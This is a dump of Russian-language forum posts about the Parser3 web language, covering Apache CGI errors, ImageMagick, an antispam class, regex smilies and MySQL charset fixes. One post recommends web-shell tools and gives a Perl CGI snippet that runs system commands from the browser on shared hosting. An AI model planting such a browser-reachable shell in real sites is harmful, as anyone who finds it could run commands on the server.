Или может кто-нибудь знает как допустим это осуществляется на таких массовых ресурсах, как ВКонтакт, где базы заполняются невероятно быстро?"
"71867","В error_log веб-сервер пишет причину ошибки.\
Похоже на какие-нибудь ошибки в конфигурировании Apache..."
"71868","Premature end of script headers: /home2/[censored]/www/cgi-bin/parser.sh"
"71871","Права на папку cgi-bin какие?"
"71872","http://dev.mysql.com/doc/refman/5.1/en/numeric-types.html"
"71874","На директорию cgi-bin права 755?"
"71875","Привет ) А я и попробовал:\
\
[quot]Пробовал 32-битную версию и даже скомпилированный под другими версиями FreeBSD — результат одинаковый.[/quot]"
"71877","Насчёт настроек веб-сервера пока не знаю, предполагаю, что да. Уточню чуть позже."
"71878","А при написании sh не забыли про unix переводы строк?\
\
А в общем идей кажется больше нет и похоже всё таки надо в их support обратиться."
"71879","И режим бинарный, и переводы строк юниксовые :-)\
С сапортом там сложно, но выхода не остаётся, видимо.\
\
Спасибо."
"71880","Вы можете получить доступ к консоли используя:\
1. http://mgeisler.net/php-shell/\
\
2. Простой внешний скрипт на пример на перле.\
Положите его в cgi-bin и вызовам из броузера будете вызывать unix commands.\
\
[code]\
print(\"Content-type: text/html\\n\\n\");\
print(\"<pre>\");\
system(\"blablabla\");\
[/code]\
\
3. Crontab. На ваш e-mail придёт результат роботы. Когда не будет приходить можете в скрипте вызванным через crontab добавить на пример \
\
[code]domething > output.log[/code]\
\
4. http://cgi-shell.binaervarianz.de"
"71881","на счет опечаток в локали - постараюсь на этой неделе сделать\
\
еще раз спасибо!"
"71882","Добрый день!\
Пример Изменение размера картинок с помощью инструмента ImageMagick\
Хостинг  1Gb.ru \
В документации на хостинге  прописано,  пути из раздела Вопросы совместимости - UNIX\
 ImageMagick        /usr/bin/convert и т.д.  (не работает)\
Пляски с бубном, и метод “тыка “ привели к результату работает но путь не тот, что прописан в доке, а ([/../data/bin)\
[code]\
ImageMagick и nconvert:\
$script_path[/../data/bin]\
$nconvert_path[/../data/bin]\
[/code]\
Но при переносе движка на другие  сервера  1Gb (тоже UNIX  конфигурация одинаковая) не работает изменение размера картинок с помощью инструмента ImageMagick …\
ОШИБКА:  ^case[image_file.missing]{$result(3)}	# исходный файл не найден\
Работу Perl проверил \
[code]\
#!/usr/bin/perl\
\
use CGI::Carp 'fatalsToBrowser';\
\
print \"Content-type: text/plain\\n\\n\";\
use Image::Magick;\
[/code]\
данный скрипт ошибки не выдаёт...\
На локальной машине использую денвер,  для  теста установил ImageMagick\
Проверил пример [url=\"http://www.spearance.ru/parser3/pictures/source/ \"]Изменение размера картинок[/url] работает на локалке…\
Написал письмо в службу поддержки 1Gb…\
Их ответ: К сожалению вряд ли тут поможем, ImageMagick у вас работает на сервере и находится именно там где написано (/usr/bin/convert и т.д.  ).\
Надо отлаживать логику приложения.\
\
PS: Куда копать, просто не понятно, на одной машине прописан не правильный путь но работает,  на  локальной машине работает,  причём тут логика, т. е. можно сделать вывод, что с логикой всё в прядке?"
"71883","немного новых деталей к [url=\"/forum/?id=58633\"]#6[/url].\
\
то, что описывал PAF уже не совсем соответствует действительности, т.к. в версии 3.4.0 в компилятор были введены дополнительные оптимизации и появились opcode-ы, которые умеют что-то делать более чем с двумя последующими Operation.\
\
это позволило уменьшить объём байт-кода и, что более важно, позволило сразу выполнять некоторые очень распространённые действия, а не гонять данные тысячи раз в стек и обратно.\
\
например, приведённый PAF-ом пример байт-кода для простейшего кода\
[code]\
$c($a+$b)\
[/code]\
\
преобразился в следующий:\
[code]\
Operation.code OP_PREPARE_TO_EXPRESSION\
Operation.code OP_VALUE__GET_ELEMENT\
Operation.origin ...\
Operation.value \"a\"\
Operation.code OP_VALUE__GET_ELEMENT\
Operation.origin ...\
Operation.value \"b\"\
Operation.code OP_ADD\
Operation.code OP_WITH_ROOT__VALUE__CONSTRUCT_EXPR\
Operation.origin ...\
Operation.value \"c\"\
[/code]\
\
фактически новая конструкция (с новым кодом операции OP_VALUE__GET_ELEMENT):\
[code]\
Operation.code OP_VALUE__GET_ELEMENT\
Operation.origin ...\
Operation.value \"a\"\
[/code]\
\
равносильно существовавшей ранее конструкции\
[code]\
Operation.code OP_WITH_READ\
Operation.code OP_VALUE\
Operation.origin ...\
Operation.value \"a\"\
Operation.code OP_GET_ELEMENT\
[/code]\
\
с той лишь разницей, что она выполняется за одну итерацию работы байт машины, а не за три, как раньше и делает только одну запись в стек, а не три, как раньше.\
\
а новая конструкция:\
[code]\
Operation.code OP_PREPARE_TO_EXPRESSION\
...\
Operation.code OP_WITH_ROOT__VALUE__CONSTRUCT_EXPR\
Operation.origin ...\
Operation.value \"c\"\
[/code]\
\
по своей сути аналогична существовавшей ранее конструкции:\
[code]\
Operation.code OP_WITH_ROOT\
Operation.code OP_VALUE\
Operation.origin ...\
Operation.value \"c\"\
Operation.code OP_PREPARE_TO_EXPRESSION\
...\
Operation.code OP_CONSTRUCT_EXPR\
[/code]\
\
только выполняется за два \"такта\" вместо четырёх.\
\
есть возможность поиграться с этими оптимизациями и посмотреть (убрав комментарий с #define DEBUG_EXECUTE), как меняется байт-код при их отключении (отключаются они комментированием #define-ов в pa_opcode.h)\
\
самое просте, и возможно, самое любопытное сравнение можно провести если глянуть на размер байт-кода (пишется в parser3.log), который получается при обращении, например, к заглавной странице вашего сайта без оптимизаций и со всеми оптимизациями :)"
"71884","вообще-то, script_path -- это путь к файлам convert.pl и images.pl (путь должен быть относительный. в случае с вашим /../data/bin эти файлы находились в каталоге bin каталога data. при этом сам каталог data должен был быть расположен рядом с вашим document root)\
на эти файлы должен быть установлен бит executable и эти файлы должны быть с unix-переводами строк (если вы их правили, то могли поломать).\
\
при использовании класса от Eugene, который работает через perl, вам нигде не нужно указывать путь к библиотеке ImageMagik. однако вам надо убедиться, что из perl эта библиотека работоспособна (я считаю, что ваша проверка недостаточна)\
\
ошибка image_file.missing означает, что исходная картинка не была найдена в каталоге script_path, т.е. до самого вызова скрипта на perl дело ещё даже не доходит (btw, там в методе _prepare_path есть бага, т.к. result задаётся не во всех ветках выполнения, что критично для 3.4.0. может проблема в этом? попробуйте в начало метода добавить $result[])\
\
P.S. лично я считаю, что классы от Den-а идеологически более правильные. и более-менее взаимозаменяемые между ImageMagik/NConvert"
"71885","[code]^date::roll[hour](+1)\
^date::roll[minute](+1)\
^date::roll[second](+1)[/code]"
"71886","чем это было бы полезно:\
рассмотрим конструкцию:\
\
[b]1.[/b]\
[code]\
@getNewDate[date;timeout;value]\
$result[$date]\
^switch[timeout]{\
	^case[year;month;day]{^date.roll[$timeout]($value)}\
	^case[hour;minute;second]{\
		^switch[[$timeout]{\
			^case[hour]{$date[^date::create($date+1/24)]}\
			^case[minute]{$date[^date::create($date+1/24/60)]}\
			^case[second]{$date[^date::create($date+1/24/60/60)]}\
		}\
	}\
}\
$result[$date]\
[/code]\
\
и еще одну:\
[b]2.[/b]\
[code]@getNewDate[date;timeout;value]\
$result($date[^date.roll[$timeout]($value))[/code]\
\
и все, вот этом было бы удобнее )"
"71887","сейчас то, что вам хочется, можно сделать несколько иначе:\
[code]\
^date::create($date+1/24)\
^date::create($date+1/24/60)\
^date::create($date+1/24/60/60)\
[/code]\
\
P.S. зачем вам конструктор roll я не понял. или вы опечатались и имели в виду расширение функционала метода roll?"
"71889","Здравствуйте.\
\
Решил использоваться антиспамом от Мишы. Скачал примерный архив, запустил в броузере и... Всё плохо. Читал что случалось пользователям. Тестировал на предыдущем парсере. Успеха нет.\
\
Подробности:\
Все проблемы возникают с методом @print{}. Выглядит как бы работал - но не добавляет поля uid к форму. Удалял я хешфайлы, перегружал сайт - не помогло. Всегда нет uid-ов. \
\
Но интересно что когда я тестировал антиспам в большем сайте (конечно на локали) - тогда несколько раз появились uid-ы, но не всегда. Решил не использоваться методом print - но добавлять поле uid руками из $oAntiSpam.UID. Но тогда того часто возникала ошибка \"no-real-uid\". \
\
Есть у вас какие-нибудь решения?\
Большое спасибо.\
\
Работающий код просто из примеров.\
Здесь лог:\
[code]\
TIME: 2010-02-04 07:29:37, METHOD: GET, URL: localhost/_antispam.html\
TYPE: print [ok] (1/1)\
FORM:    \
REFERER: 'http://localhost/_antispam2.html'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 [...cut]\
UID:  DFF5244D-FFE6-442A-BF2C-B6FA4A526330\
UIDS: -A7D205FB-B5A0-45A0-AEE5-31B22C25023A, [...cut]\
\
\
TIME: 2010-02-04 07:29:41, METHOD: POST, URL: localhost/_antispam.html\
TYPE: exec [fail: Antispam|empty-uid|Empty UID.] (1/2)\
FORM:    action='Отправить', name='wert', email='wer', text='twert'\
REFERER: 'http://localhost/_antispam.html'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 [...cut]\
UID:  DFF5244D-FFE6-442A-BF2C-B6FA4A526330\
UIDS: -A7D205FB-B5A0-45A0-AEE5-31B22C25023A, -[...cut]\
\
\
TIME: 2010-02-04 07:29:44, METHOD: GET, URL: localhost/_antispam.html\
TYPE: print [fail: Antispam|referer|Empty referer is not allowed.] (1/3)\
FORM:    \
REFERER: ''\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 [...cut]\
UID:  banned\
UIDS: \
[/code]"
"71890","т.е. вы распаковали html-ки в корень сайта, положили .p в место, где он находится по CLASS_PATH, обратились в браузере http://сайт/_antispam.html и у вас не показывается несколько кнопок \"отправить\"?\
\
P.S. в логе вижу: \"Empty referer is not allowed\". попробуйте настройками разрешить работу с пустым referer-ом (хотя по умолчанию она разрешена, т.е. похоже вы убрали комментарий)."
"71891","Скачал архив ещё раз. Установил антиспама ещё раз так как прежде (но мне кажется это что прежде установил идентично)\
Теперь вижу четыре кнопки \"отправить\".\
\
Но почему не работало прежде - может быть что я менял что-нибудь в _antispam.html и забыл об этом. \
\
Большое спасибо за внимание!\
Простите меня что не исправил чистоты установки дважды."
"71892","Но ещё одна вещь:\
- перекодиорвал всё из архива в utf-8\
- класс расположил в корне веб-пространства \
\
Но это не мешает ничего. \
Работает - на первый взгляд - правильно"
"71893","Я считаю что оба класса убоги, это показали решаемые в Студии задачи. Требуются свежая кровь и свежие реализации."
"71897","Но логгинг понятно не включал. :)"
"71898","Как можно оптимизировать этот код на обработку смайлов? Кажется должен быть простой какой-то способ.\
\
[code]$smile1[^tLastComm.comment.match[8\\)|8-\\)|:cool:][gi]{<img src=\"/images/smilies/cool.gif\" alt=\"8)\" />}]\
          $smile2[^smile1.match[:\\)|:-\\)|=\\)|=-\\)][gi]{<img src=\"/images/smilies/smile.gif\" alt=\":)\" />}]\
          $smile3[^smile2.match[:\\(|:-\\(|=\\(|=-\\(][gi]{<img src=\"/images/smilies/sad.gif\" alt=\":(\" />}]\
          $smile4[^smile3.match[:'\\(|:\"\\(|='\\(|=\"\\(|:cry:][gi]{<img src=\"/images/smilies/cry.gif\" alt=\":'(\" />}]\
          $smile5[^smile4.match[>:\\)|>:-\\)|>=\\)|>=-\\)|:devil:|:angry:][gi]{<img src=\"/images/smilies/devil.gif\" alt=\">:)\" />}]\
          $smile6[^smile5.match[:ganja:][gi]{<img src=\"/images/smilies/ganja.gif\" alt=\":ganja:\" />}]\
          $smile7[^smile6.match[:ganja2:][gi]{<img src=\"/images/smilies/ganja2.gif\" alt=\":ganja2:\" />}]\
          $smile8[^smile7.match[:D|=D|:-D|=-D][gi]{<img src=\"/images/smilies/laugh.gif\" alt=\":D\" />}]\
          $smile9[^smile8.match[:lion:][gi]{<img src=\"/images/smilies/lion.gif\" alt=\":lion:\" />}]\
          $smile10[^smile9.match[xD|XD|x-D|X-D|:lol:][gi]{<img src=\"/images/smilies/lol.gif\" alt=\"XD\" />}]\
          $smile11[^smile10.match[<3|<З|:heart:][gi]{<img src=\"/images/smilies/heart.gif\" alt=\"<3\" />}]\
          $smile12[^smile11.match[:~\\(|=~\\(][gi]{<img src=\"/images/smilies/redface.gif\" alt=\":~(\" />}]\
          $smile13[^smile12.match[:relax:][gi]{<img src=\"/images/smilies/relax.gif\" alt=\":relax:\" />}]\
          $smile14[^smile13.match[:roll:][gi]{<img src=\"/images/smilies/roll.gif\" alt=\":roll:\" />}]\
          $smile15[^smile14.match[:shit:][gi]{<img src=\"/images/smilies/shit.gif\" alt=\":shit:\" />}]\
          $smile16[^smile15.match[:sick:][gi]{<img src=\"/images/smilies/sick.gif\" alt=\":sick:\" />}]\
          $smile17[^smile16.match[:smoke:][gi]{<img src=\"/images/smilies/smoke.gif\" alt=\":smoke:\" />}]\
          $smile18[^smile17.match[:spliff:][gi]{<img src=\"/images/smilies/spliff.gif\" alt=\":spliff:\" />}]\
          $smile19[^smile18.match[:rose:][gi]{<img src=\"/images/smilies/rose.gif\" alt=\":rose:\" />}]\
          $smile20[^smile19.match[:P|:-P|:Ъ|:-Ъ|=P|=-P|=Ъ|=-Ъ][gi]{<img src=\"/images/smilies/tongue.gif\" alt=\":P\" />}]\
          $smile21[^smile20.match[:whistle:][gi]{<img src=\"/images/smilies/whistle.gif\" alt=\":whistle:\" />}]\
          $smile22[^smile21.match[^;\\)|^;-\\)|:wink:][gi]{<img src=\"/images/smilies/wink.gif\" alt=\"^;)\" />}]\
          $smile23[^smile22.match[O_O|o_O|O_o|О_О|О_о|о_О|o_o|о_о|:-O|=-O|:wow:][gi]{<img src=\"/images/smilies/wow.gif\" alt=\":-O\" />}]\
          $smile24[^smile23.match[:santa:][gi]{<img src=\"/images/smilies/santa.gif\" alt=\":santa:\" />}]\
          $smile25[^smile24.match[:rasta:][gi]{<img src=\"/images/smilies/rasta.gif\" alt=\":rasta:\" />}]\
\
          $bbBIU[^smile25.match[\\[([biu])\\](.+?)\\[/\\1\\]][gi]{$match.2}]\
          $bbCOLOR[^bbBIU.match[\\[(color)=(\"?)([^^\"]+?)\\2\\](.+?)\\[/\\1\\]][gi]{${match.4}}]\
          $bbURL[^bbCOLOR.match[\\[(url)=(\"?)(.{9,}?)\\2\\](.+?)\\[/\\1\\]][gi]{<a href=\"${match.3}\">${match.4}</a>}]\
          $sSmileOutput[^bbURL.match[(?<![=\"])((?i:https?://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+))][g]{<a href=\"$match.1\" target=\"_blank\">$match.1</a>}]\
          $sSmileOutput[/code]"
"71900","Переписать всё на replace, правда тогда не избежите скобок после картинок, когда пишут :)))))\
\
Don't repeat yourself: во всех заменах из кода [code]<img src=\"/images/smilies/cool.gif\" alt=\"8)\" />[/code]\
уникальной частью является только cool.gif и \"8\" - вот и вставляйтие только название картинки и альт.\
\
O_O|o_O|O_o|О_О|О_о|о_О|o_o|о_о - там у вас стоит [i], а значит можно просто писать (o_o|о_о). Условия не лучшая часть pcre.\
\
Можно замены делать в одной переменной, а не в 25-и."
"71901","... а стоит посмотреть на свои выражения и понять, что есть схожие группы, которые примитивно отсекаются:\
[code]\
  $validSmiles[$.cool(true) $.cry(true) ... ]\
  $str[^str.match[:([a-z]+):][gi]{^if($validSmiles.[$match.1]){<img src=\"/img/smiles/${match.1}.gif alt=\":$match.1:\" /> \"}{:$match.1:}}]\
[/code] \
Похожим способом можно выкусить и смайлики со \"скобочками\". \
\
Не забудьте сделать так, чтобы хеш validSmiles инициализировался в классе один раз.\
\
p.s. И обратите внимание, что ключ i включает проверку регистра, поэтому выражение \"O_O|o_O|O_o|О_О|О_о|о_О|o_o|о_о\"  можно сильно упростить.\
\
p.p.s. А еще стоит вообще отказаться от всего этого безумства со смаликами и оставить их в текстовом виде (без всяких идиотских :cool:) - именно в таком виде от них есть хоть какая-то польза ;-) \
p.p.p.s. http://www.artlebedev.ru/kovodstvo/sections/135/"
"71902","ну если тёма сказал, что анимированные смайлики для дегенератов, то я даже спорить не буду. :crazy:"
"71903","Спасибо!!!\
проблему решил...\
права на исполнение не стояли, я проверял из корня сайта, а в конкретном катологе прав небыло...\
Как вариант:\
Может есть классы по обработке графики на Python ???"
"71904","Или вы про парсерные классы?"
"71905","http://gyazo.com/30f32cc6491b65d221121f436f7f5bd7.png\
Ну 10, если вынимать линч-идиотеку в 4 запроса, и кешировать всё, кроме того, что в продаже :)"
"71906","Здравствуйте!\
\
У меня ещё только один вопрос:\
Ошибка \"unknown-uid\" возникающая во время выполнения метода exec означает только что сообщение уже было добавлено ранее. Может-ли возникнут эта ошибка в коком-то другом случае.\
\
[code]\
^oAntiSpam.exec{\
	<p>Ваше сообщение было успешно добавлено.</p>\
}{\
	^if($exception.source eq \"unknown-uid\"){\
		$exception.handled(true)\
		^rem{\
			всё в порядке,\
			только форма отправлёна дважды\
		}\
	}\
}\
[/code]"
"71907","- кто-то долго думал после открытия формы и выданный uid экспайрнулся\
- кто-то просто пытается подделать uid"
"71908","[quot]кто-то просто пытается подделать uid[/quot]\
\
Значит - спамер"
"71909","в принципе, основная идея защиты от спама именно в том, что должен придти \"правильный\" action и не должно придти \"неправильных\".\
\
т.е. это должно быть основным критерием спамера, а не unknown-uid. последний возможен и в \"мирных\" случаях, и банить подобных посетителей нельзя ни в коем случае."
"71910","Хочу сделать защиту без пользования этой идеи."
"71911","^taint[js] не подходит, т.к. он эскейпит одинарную кавычку (').\
Согласно спецификации для json нужны только такие замены:\
\\\"\
\\\\\
\\/\
\\b\
\\f\
\\n\
\\r\
\\t\
\\u[four-hex-digits]"
"71913","Реальный пример: недавно вышла новая версия jQuery, в которой добавили строгую валидацию данных, пришедших в json-формате.\
Раньше был обычный eval() и хоть слона в бантах туда пихай, а теперь всё, что не попадает под определённые регулярки, считается невалидным. Что есть правильно.\
\
Привет любилетям класса JsHttpRequest из примеров:-)"
"71914","т.к. много роботов уже умеют открывать форму и тут-же постить её обратно с подставленными в неё спам-значениями.\
\
это получится то, что было у меня раньше и известно как antiflood.\
\
и, кстати, почему механизм с добавленными фальшивыми action-ами не нравится? только из-за невозможности запостить форму жмакнув Enter в <input type=\"text\"/>?"
"71916","- На мой взгляд очень просто будет сделать робота который будет нажимать правильную кнопку. \
\
- Ентер: знаю что можно сделать javascript-ом, но боюсь что это не будет работать во всех вроузерах.\
\
- Дополнительные кнопки это на мой взгляд грязная технология. Появляются теги которые ненужные со зрения пользователя, броузера, пойсковиков и идеи xhtml так как лейоут на таблицах, пустые гифы и framesetы.\
\
http://www.hotdesign.com/seybold/russian/\
\
\
Просто - думал что класс антиспам даст мне возможность невидимой для никого защиты. Нет тюринга, нет дополнительных кнопок. На первый взгляд: нет никакой защиты - и нет спама :)"
"71917","без этих кнопок защиты от спама нет.\
а эти кнопки, лично с моей точки зрения, существенно лучше чем нечитаемые картинки (которые я последнее время могу прочитать лишь со второго/третьего раза), т.к. они вообще не видны пользователю и не напрягают его (ведь в этом форуме вы видите одну кнопку, ведь так?).\
\
причем тут упрёк в сторону таблиц & Co я не понял.\
\
например <input type=\"hidden\"/> тоже с точки зрения пользователя нафиг не нужен, и если выкинуть -- будет только лучше (меньше код, быстрее грузится и т.д.)\
\
\
безусловно, робота, который будет спамить в одну конкретную форму сделать можно, и сделать это совсем не сложно. если захотят заспамить именно вашу (или мою) форму -- заспамят. эта защита -- от типовых и наиболее распространённых в настоящее время спам-ботов, при этом почти не напрягающая обычных пользователей, не более того."
"71918","[quot]эти кнопки, лично с моей точки зрения, существенно лучше чем нечитаемые картинких[/quot]\
\
Я согласен, с том от самого начала\
\
[quot]причем тут упрёк в сторону таблиц & Co я не понял[/quot]\
Мне казалось что можно сделать хорошую защиту без кнопок.\
\
[quot]без этих кнопок защиты от спама нет.[/quot]\
Понял.\
\
[quot]эта защита -- от типовых и наиболее распространённых в настоящее время спам-ботов[/quot]\
Понял.\
\
Спасибо!\
Большое!"
"71919","Возможно оффтоп, прошу простить.\
\
Есть текст скприпта *.js он благополучно был зачистен в постпроцессе от лишних пробелов, табуляций, переносов строк и превратился в одну строчку.\
Существует ли [b]автоматическое[/b] средство привести его в более-менее читабельный вид?"
"71920","можно в любом редакторе текстовом сделать, заменив \"точку с запятой\" на точку с запятой и перевод строки."
"71921","Спасибо, уже решил другим способом."
"71922","[code]\
$file[^file::load[text;http://host.ru/api/?sid=$sid&sid_ua=$sid_ua&ver=CUSTOM;$.timeout(10)]]\
$text[^file.text.match[xmlns=\"[^^\"]*\" ][]{}]\
$xdoc[^xdoc::create{^untaint{$text}}]\
[/code]\
или \
[code]\
$xdoc[^xdoc::load[http://host.ru/api/?sid=$sid&sid_ua=$sid_ua&ver=CUSTOM]]\
[/code]\
\
Работают, но не стабильно первая часто выдает ошибку timeout, а вторая \"parser error : Start tag expected, '<' not found timeout occured while retrieving document ^ [xml]\"\
Есть чтото альтернативное этому?"
"71924","Толку нет все равно выдает ошибку, альтернатива есть?"
"71925","Может быть кому нибудь полезный перевод функции tep_validate_password с php на parser:\
\
parser\
[code]\
@tep_validate_password[plain;encrypted][stack]\
^if(def $plain && def $encrypted){\
	$stack[^encrypted.split[:;lh]]\
	^if(^stack.count[] != 2){$result(false)}\
	^if(^math:md5[${stack.1}$plain] eq $stack.0){\
		$result(true)\
	}\
}{\
	$result(false)\
}\
[/code]\
\
php:\
[code]\
  function tep_validate_password($plain, $encrypted) {\
    if (tep_not_null($plain) && tep_not_null($encrypted)) {\
// split apart the hash / salt\
      $stack = explode(':', $encrypted);\
\
      if (sizeof($stack) != 2) return false;\
\
      if (md5($stack[1] . $plain) == $stack[0]) {\
        return true;\
      }\
    }\
\
    return false;\
  }\
[/code]"
"71926","Поскольку $result(false) не эквивалентно return false.\
Должно быть примено так:\
\
[code]\
@tep_validate_password[plain;encrypted][stack]\
$result(false)\
^if(def $plain && def $encrypted){\
	$stack[^encrypted.split[:;lh]]\
	^if(^stack.count[] == 2 && ^math:md5[${stack.1}$plain] eq $stack.0){\
		$result(true)\
	}\
}[/code]"
"71927","Есть класс\
[code]@CLASS\
shop\
\
@getGroups[parent_id;level]\
	^connect[$SQL.connect-string]{[/code]\
\
Но в рамках этого класса, почему-то переменная $SQL.connect-string не определена...\
\
Класс статический и использовать конструктор не хотелось бы и в качестве переменных вызова функций тоже\
\
Какие есть пути вызова этой переменной?"
"71928","если класс статический, что Вам мешает вместо $SQL.connect-string прописать путь к базе? типа ^connect[путь]{"
"71931","И как обрабатываются запросы, через LIKE или средствами сервера баз (полнотекстовый)?\
Хочу нормальный поиск сделать."
"71933","я бы передавал бы значение переменной классу воспользовавшись каким-нить init.\
\
просто в моей практике мне несколько раз приходилось менять имя этой переменной, и лезть для соотв. правки в класс было-бы не совсем правильным решением.\
\
хотя, не зная что делает ваш класс, ничего конкретного порекомендовать нельзя."
"71934","А правила поиска тоже задаёт мускуль?\
Я делал на своём сайте полнотекстовый, но он как-то не правильно ищет. Т.е. если я хочу найти именно Buju Banton, то он выводит материалы, содержащие Buju и материалы, содержащие Banton. Взятие фразы в кавычки не помогает."
"71935","Как реализована очередь отправки email уведомлений на этом форуме? Или нет очереди, а на SMTP сервере нет ограничений на кол-во писем в минуту?"
"71936","тут сделано не очень хорошо: всё отправляется сразу, без всяких очередей (код писался лет 7 назад).\
\
ну и не через SMTP всё отправляется, а через sendmail.\
по поводу ограничений -- это к админам, я без понятия :)\
наверняка какие-то ограничения есть, но они существенно более гуманные, чем на виртуальных хостингах."
"71937","а вообще в документации по MySQL всего 8 страничек по fulltext search... можно все их прочитать и найти подходящее решение."
"71938","http://www.sphinxsearch.com/\
Естественно не на shared-хостингах, а минимум на VPS.\
\
Для обращения к серверу можно использовать MySQL-протокол вместо штатного бинарного - http://www.sphinxsearch.com/docs/current.html#sphinxql"
"71939","Яков Сироткин написал отличную [url=http://telamon.ru/articles/async.html]статью по этому поводу[/url]. (Для MySQL может понадобится возможность делать запросы select ... for update)."
"71940","Я уже применил модификатор IN BOOLEAN MODE и всё заработало как надо. :)\
Спасибо Мише!"
"71941","Вероятно тогда нужно использовать CRON, который бы регулярно проверял таблицу с очередью на неотправленные письма и отправлял бы их?"
"71943","... которые используют таблицы InnoDB или нуждаются в более качественном поиске. :)"
"71944","А в каком случае удобнее использовать InnoDB? MyISAM же полюбому быстрее."
"71945","Прглашаем программиста на 3-ем парсере на фриланс.\
Пишите на zeniv@mail.ru (опыт, примеры кода)."
"71946","InnoDB, при нормальной настройке сервера, по производительности гораздо лучше MyISAM, а уж про надежность вообще говорить не стоит. Кроме того, InnoDB поддерживает транзакции и внешние ключи, что само по себе полезно."
"71947","Собственно, сабж. \
Есть ли какие-нибудь проблемы? Насколько знаю, там CentOS стоит, значит придется собирать?"
"71949","http://www.mysqlperformanceblog.com/2007/01/08/innodb-vs-myisam-vs-falcon-benchmarks-part-1/"
"71951","Надо смотреть, что на самом деле возвращает удаленный сервер: статусы, заголовки, тело ответа. Только это поможет понять суть происходящего."
"71953","Здравствуйте!\
\
При сборке выдаётся такое сообщение:\
\
rm -fr .libs/libparser3pgsql.la .libs/libparser3pgsql.* .libs/libparser3pgsql.*\
(cd . && ln -s parser3pgsql.lo parser3pgsql.o)\
gcc -shared  parser3pgsql.lo -Wl,--whole-archive ./libltdl/.libs/libltdlc.al -Wl,--no-whole-archive   -Wl,-Bstatic -Wl,-lstdc++ -Wl,-Bdynamic -Wl,-soname -Wl,libparser3pgsql.so.0.0 -o .libs/libparser3pgsql.so.0.0\
/usr/bin/ld: /usr/lib/libstdc++.a(eh_personality.o): relocation R_X86_64_32S can not be used when making a shared object; recompile with -fPIC\
/usr/lib/libstdc++.a: could not read symbols: Bad value\
*** Error code 1\
\
Пожалуйста, помогите исправить."
"71954","Забыл сказать - операционка FreeBSD 8.0"
"71955","Парсер должен быть собран аналогично. Впрочем наши 64-х битные версии для скачивания все собраны --with-dynamic-stdcpp."
"71956","Большое спасибо!\
\
Модуля pgsql под 64 я у вас не вижу"
"71957","А сендмайл разве не через смтп работает? Честно говоря я не представляю, как письмо уйдёт куда-либо, минуя СМТП сервер...\
Если всё же это возможно, дайте пожалуйста ссылку на какой-нибудь нормальноработающий виндовский аналог сендмейла. :)"
"71958","... а уж как он доставляет почту - это уже отдельный разговор, но нас он не интересует.  \
\
В Виндоус можно попробовать использовать [url=http://www.eserv.ru/]Eserv[/url] или другие smtp-серверы, которые достаточно просто найти в любом поисковике. Но, учтите, что настройка почтовой системы задача не самая простая, поэтому такие вещи лучше доверять специалистам."
"71959","Нет, смтп сервер мне не нужен, т.к. вся почта идёт через сервер провайдера. Я подумал, что если как-то можно сделать отправку писем в обход смтп сервера. Чтобы я мог сам задать ограничения по отправке."
"71961","ну это бесполезно, т.к. всё-равно с моего смтп трафик пойдёт на смтп провайдера... единственный вариант в этом случае использовать стороннюю проксю. ну ладно, всем спасибо!"
"71963","...если не указывать их смтп сервер, как промежуточный, то трафик просто будет блокироваться. так у них настроено."
"71964","Но я так понял, что Вас не особо интересует решение проблемы."
"71965","Если провайдер сделал такое ограничение, вероятно он не хочет, чтобы его обходили и возможно принял меры против этого. :)\
\
По мне так корректных вариантов три: поговорить с провайдером, сменить провайдера, смириться с ограничением. А обход ограничений наверняка нарушает пользовательское соглашение."
"71967","Исходное:\
Хостинг mchost, База MySql. В ней хранятся текстовые данные на 4-х языках. Русский, английский, немецкий и французский. \
База в UTF-8.\
Коннект к базе - [code]$SQL.connect-string[mysql://***:***@****.mysql.mchost.ru/*****?charset=utf8][/code]\
Заголовки страницы - [code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">[/code]\
\
[code]$request:charset[UTF-8]\
$response:charset[UTF-8]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
][/code]\
\
На локальном компе все работает правильно.\
Но вот на хостинге.... вывод из базы работает корректно. Все символы из базы выводятся правильно, и русские и вражеские. Но вот при записе в базу, русские пишутся правильно, а вот специфичные немецкие и французские - в знаках вопроса. На лицо где-то не правильная перекодировка. \
Но вот где? И как с этим бороться, ума не приложу."
"71968","если $request:charset == $response:charset, то парсер ничего не перекодирует. вообще.\
\
?charset=utf8 == 'SET CHARACTER SET UTF8'\
\
т.е. рыть надо только в сторону настроек MySQL сервера и charset/collation у DB/таблиц (может на хостинге default charset != UTF8, а вы создаёте таблицы без его указания?).\
\
для чистоты эксперимента можно исключить parser: написать sql скрипт, который создаст правильную тестовую таблицу с указанием charset/collation, и добавит в неё разных данных. после этого вы сделаете dump и посмотрите что получилось. если буквы побьются -- в support хостинга."
"71969","http://uptime.netcraft.com/up/graph?site=http://andreyshipilov.com/"
"71970","http://andreyshipilov.com/parser3/parser3.cgi"
"71971","Если вывести результат исполнения этого запроса парсером и смотреть на переменные про кодировку, это обычно дает некую пищу для размышлений - наверняка где-нибудь не utf8."
"71972","Сделал тестовую таблицу. \
[code]CREATE TABLE t1 (\
  `Id` int(11) NOT NULL auto_increment,\
  `en` varchar(255) default NULL,\
  `ru` varchar(255) default NULL,\
  `de` varchar(255) default NULL,\
  `fr` varchar(255) default NULL,\
  )\
ENGINE=InnoDB CHARACTER SET utf8 COLLATE utf8_general_ci;\
INSERT INTO `t1` VALUES (1,'Clear','Очистить','kl&#228;ren','&#233;claircir');[/code]\
\
В дампе все чисто. Буквы не побились."
"71973","хм... вот такая штука. \
Однако в phpMyAdmin про базу написано - MySQL-кодировка: UTF-8 Unicode (utf8)\
\
show variables:\
character_set_client utf8 \
character_set_connection utf8 \
character_set_database cp1251 \
character_set_filesystem binary \
character_set_results utf8 \
character_set_server cp1251 \
character_set_system utf8 \
collation_connection utf8_general_ci \
collation_database cp1251_general_ci \
collation_server cp1251_general_ci"
"71974","это означает, что таблички, создаваемые без указания кодировки, также становятся 1251, и соотв. хранить немецкие и какие-там ещё у вас буквы не могу. русские (которые могут быть сконвертированы из 1251 в utf8 и обратно) -- могут.\
\
модифицируйте кодировку БД и таблиц (потребуется выгрузить/загрузить данные)"
